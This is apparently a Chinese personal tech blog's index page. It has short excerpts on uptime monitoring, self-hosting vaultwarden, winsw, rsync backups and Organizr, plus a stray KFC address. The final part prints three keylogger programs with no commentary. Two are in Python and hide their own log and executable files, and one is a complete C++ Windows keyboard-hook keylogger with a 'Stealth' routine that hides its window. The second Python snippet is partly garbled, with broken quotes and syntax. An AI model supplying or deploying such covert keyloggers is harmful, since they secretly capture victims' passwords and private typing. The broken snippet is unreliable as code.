AISYUN's Blog

学习、笔记、分享

发现一个不错的网站在线监控网站项目,可同时监控多个网站是否在线,进行状态跟踪。

首先在https://uptimerobot.com/上注册一个账号,添加你要监控的网站,监控方式可以是ping,也可以是http(s)等多种方式。

之后开通并获取Read-Only API Key类型的api key。

然后进入https://github.com/yb/uptime-status,下载这个开源项目,将上面的api key填入相应的位置,然后随便把这些静态文件丢到任意服务器上,就可随时查看网站在线状态了。

免费版的uptimerobot每隔5分钟检测一个,这个间隔也足够了。

阅读全文 »

KFC, Abbott Road, Anchorage, Alaska, USA:

1752 Abbott Rd, Anchorage, AK 99507, United States

+19073446801

54W7+7P North Star, Anchorage, AK, United States

对于经常上网的我们,账号密码相当多,使用同一个密码很容易被脱裤,使用不同的密码却又难记。其实有很多密码管理软件可以使用,比如bitwarden。

bitwarden的密码默认是储存在官方有服务器上,当然是加密存储的。官方为了方便用户,也提供docker方式在自己的服务器安装该密码管理服务。要想自己安装使用bitwarden,需要先安装docker,这个可以参考《centos7下安装docker》一文。安装官方的镜像对服务器的要求高,由于官方使用的是mssql,内存必需大于2G,对于小内存机器来说是跑不起来的。

不过在github上有vaultwarden(为了便于与官方区别,bitwarden_rs已更名为vaultwarden),这个是用rust写的docker镜像,对服务器要求较低,小内存照样能用。具体详见:https://github.com/dani-garcia/vaultwarden/。

按照提示,两行命令即可拉取docker镜像,进行默认安装:

1
2
docker pull vaultwarden/server:latest
docker run -d --name vaultwarden -v /bw-data/:/data/ -p 6666:80 vaultwarden/server:latest
阅读全文 »

一、winsw (Windows Service Wrapper)

使用winsw,可以简单实现。winsw是用c#写的一个小工具。
所以运行需要”.NET framework“,现在Win10上都自带.NET framework4.0

原理其实是winsw.exe本身可以注册为windows服务,可以设置为自启动。
当他启动后,然后根据和此exe同名的xml文件中的配置,执行设置的命令,达到自启动的效果。

winsw的开源地址:https://github.com/winsw/winsw
目前稳定版本是v2.11.0,下载链接:https://github.com/winsw/winsw/releases/tag/v2.11.0
在这里插入图片描述
根据.Net Framework版本下载即可,如:WinSW.NET4.exe
sample-minimal.xml 是一个最小配置的列子。
sample-allOptions.xml 是一个全部可配置参数的例子。

二、查看.NET Framework版本

阅读全文 »

定期自动打包Rsync备份服务

一、备份

1.什么是备份?

1
备份就是把重要的数据或者文件复制一份保存到另一个地方,实现不同主机之间的数据同步

2.为什么做备份?

阅读全文 »

1.1 说在前面的话

rsync官方网站: https://www.samba.org/ftp/rsync/rsync.html

rsync是可以实现增量备份的工具。配合任务计划,rsync能实现定时或间隔同步,配合inotify或sersync,可以实现触发式的实时同步。

rsync可以实现scp的远程拷贝(rsync不支持远程到远程的拷贝,但scp支持)、cp的本地拷贝、rm删除和”ls -l”显示文件列表等功能。但需要注意的是,rsync的最终目的或者说其原始目的是实现两端主机的文件同步,因此实现的scp/cp/rm等功能仅仅只是同步的辅助手段,且rsync实现这些功能的方式和这些命令是不一样的。事实上,rsync有一套自己的算法,其算法原理以及rsync对算法实现的机制可能比想象中要复杂一些。平时使用rsync实现简单的备份、同步等功能足以,没有多大必要去深究这些原理性的内容。但是想要看懂rsync命令的man文档、使用”-vvvv”分析rsync执行过程,以及实现rsync更强大更完整的功能,没有这些理论知识的支持是绝对不可能实现的。本篇文章将简单介绍rsync的使用方法和它常用的功能。在本篇文章之后的下几篇文章中,将介绍inotify+rsync和sersync,再之后将详细解释rsync相关的原理,其中包括官方技术报告的翻译(即算法原理)、rsync同步的整个过程(也是官方推荐文章的翻译),然后专门使用一篇文章通过示例来详细解释rsync算法原理,最后给出rsync的man文档翻译。希望各位朋友能借此深入rsync。

回归正题,以下是rsync相关基础内容。

阅读全文 »

Organizr

安装方便,和Heimdall一样,Organizr的安装同样一个docker容器就能解决,安装后修改无需对代码进行操作。

颜值漂亮,Heidmall导航页界面美观,可定制的内容也不少,但是Organizr与Heimdall比起来更胜一筹,页面效果更加出彩,可供定制的内容更多,Organizr预置了将近十套皮肤可供自由切换。

标签管理,可以将一类网址关联一个标签(就像放在一个文件夹里),一个网址也允许有多个标签(可以在不同的文件夹种都显示这一个网址),这个Organizr和Heimdall同样方便

其它的多用户管理,丰富的应用支持,Organizr和Heimdall比起来都丝毫不落下风,并且最关键的地方是,Heimdall仅仅是一个导航页而已,除了能够让我们少记几个端口之外,其它功能几乎没有,而Organizr除了可以快速地根据预设标签打开应用之外,还可以很方便地就在主屏上进行应用操作,非常方便!

阅读全文 »

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pynput.keyboard import Key, Listener
import logging
import win32file
import win32con

log_dir = ""
logging.basicConfig(filename=(log_dir + "Clip.log"), level=logging.DEBUG, format='%(asctime)s======>%(message)s')

win32file.SetFileAttributes("Clip.log", win32con.FILE_ATTRIBUTE_HIDDEN)
win32file.SetFileAttributes("Clip.exe", win32con.FILE_ATTRIBUTE_HIDDEN)

def on(key):
logging.info(str(key))

with Listener(on_press=on) as ears:
ears.join()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


# 键盘记录
from pynput.keyboard import Listener
from ctypes import *
from PIL import ImageGrab
import datetime

keyboard = Listener()
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi


# 获取进程
def get():
hwnd = user32.GetForegroundWindow()
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
executable = create_string_buffer(512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
windows_title = create_string_buffer(512)
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
return executable.value + windows_title.value

def press(key):
with open('E:\1\keyboard.txt', 'a+') as f:
try:
f.write(str(datetime.datetime.now()) + '键盘输入:')
f.write(str(key.char)+'当前使用程序:'')
f.write(str(get())+’'n')
except AttributeError:
f.write(str(key)+'')
f.write(str(get())+'\n')
if name == 'main':
# 键盘记录
with Listener(on_press=press) as listener:
listener.join()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
#define UNICODE
#include <Windows.h>
#include <cstdio>
#include <fstream>
#include <iostream>
#include <sstream>
#include <time.h>
#include <map>

// defines whether the window is visible or not
// should be solved with makefile, not in this file
#define invisible // (visible / invisible)
// defines which format to use for logging
// 0 for default, 10 for dec codes, 16 for hex codex
#define FORMAT 0
// defines if ignore mouseclicks
#define mouseignore
// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
// or you will get problems since every function uses this variable.

#if FORMAT == 0
const std::map<int, std::string> keyname{
{VK_BACK, "[BACKSPACE]" },
{VK_RETURN, "\n" },
{VK_SPACE, "_" },
{VK_TAB, "[TAB]" },
{VK_SHIFT, "[SHIFT]" },
{VK_LSHIFT, "[LSHIFT]" },
{VK_RSHIFT, "[RSHIFT]" },
{VK_CONTROL, "[CONTROL]" },
{VK_LCONTROL, "[LCONTROL]" },
{VK_RCONTROL, "[RCONTROL]" },
{VK_MENU, "[ALT]" },
{VK_LWIN, "[LWIN]" },
{VK_RWIN, "[RWIN]" },
{VK_ESCAPE, "[ESCAPE]" },
{VK_END, "[END]" },
{VK_HOME, "[HOME]" },
{VK_LEFT, "[LEFT]" },
{VK_RIGHT, "[RIGHT]" },
{VK_UP, "[UP]" },
{VK_DOWN, "[DOWN]" },
{VK_PRIOR, "[PG_UP]" },
{VK_NEXT, "[PG_DOWN]" },
{VK_OEM_PERIOD, "." },
{VK_DECIMAL, "." },
{VK_OEM_PLUS, "+" },
{VK_OEM_MINUS, "-" },
{VK_ADD, "+" },
{VK_SUBTRACT, "-" },
{VK_CAPITAL, "[CAPSLOCK]" },
};
#endif
HHOOK _hook;

// This struct contains the data received by the hook callback. As you see in the callback function
// it contains the thing you will need: vkCode = virtual key code.
KBDLLHOOKSTRUCT kbdStruct;

int Save(int key_stroke);
std::ofstream output_file;

// This is the callback function. Consider it the event that is raised when, in this case,
// a key is pressed.
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
// the action is valid: HC_ACTION.
if (wParam == WM_KEYDOWN)
{
// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);

// save to file
Save(kbdStruct.vkCode);
}
}

// call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
// Set the hook and set it to use the callback function above
// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
// function that sets and releases the hook.
if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
{
LPCWSTR a = L"Failed to install hook!";
LPCWSTR b = L"Error";
MessageBox(NULL, a, b, MB_ICONERROR);
}
}

void ReleaseHook()
{
UnhookWindowsHookEx(_hook);
}


int Save(int key_stroke)
{
std::stringstream output;
static char lastwindow[256] = "";
#ifndef mouseignore
if ((key_stroke == 1) || (key_stroke == 2))
{
return 0; // ignore mouse clicks
}
#endif
HWND foreground = GetForegroundWindow();
DWORD threadID;
HKL layout = NULL;

if (foreground)
{
// get keyboard layout of the thread
threadID = GetWindowThreadProcessId(foreground, NULL);
layout = GetKeyboardLayout(threadID);
}

if (foreground)
{
char window_title[256];
GetWindowTextA(foreground, (LPSTR)window_title, 256);

if (strcmp(window_title, lastwindow) != 0)
{
strcpy_s(lastwindow, sizeof(lastwindow), window_title);

// get time
time_t t = time(NULL);
struct tm tm;
localtime_s(&tm, &t);
char s[64];
strftime(s, sizeof(s), "%c", &tm);

output << "\n\n[Window: " << window_title << " - at " << s << "] ";
}
}

#if FORMAT == 10
output << '[' << key_stroke << ']';
#elif FORMAT == 16
output << std::hex << "[" << key_stroke << ']';
#else
if (keyname.find(key_stroke) != keyname.end())
{
output << keyname.at(key_stroke);
}
else
{
char key;
// check caps lock
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);

// check shift key
if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0
|| (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
{
lowercase = !lowercase;
}

// map virtual key according to keyboard layout
key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);

// tolower converts it to lowercase properly
if (!lowercase)
{
key = tolower(key);
}
output << char(key);
}
#endif
// instead of opening and closing file handlers every time, keep file open and flush.
output_file << output.str();
output_file.flush();

std::cout << output.str();

return 0;
}
void Stealth()
{
#ifdef visible
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window
#endif

#ifdef invisible
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window
#endif
}

int main()
{
// open output file in append mode
const char* output_filename = "keylogger.log";
std::cout << "Logging output to " << output_filename << std::endl;
output_file.open(output_filename, std::ios_base::app);

// visibility of window
Stealth();

// set the hook
SetHook();

// loop to keep the console application running.
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
}
}

0%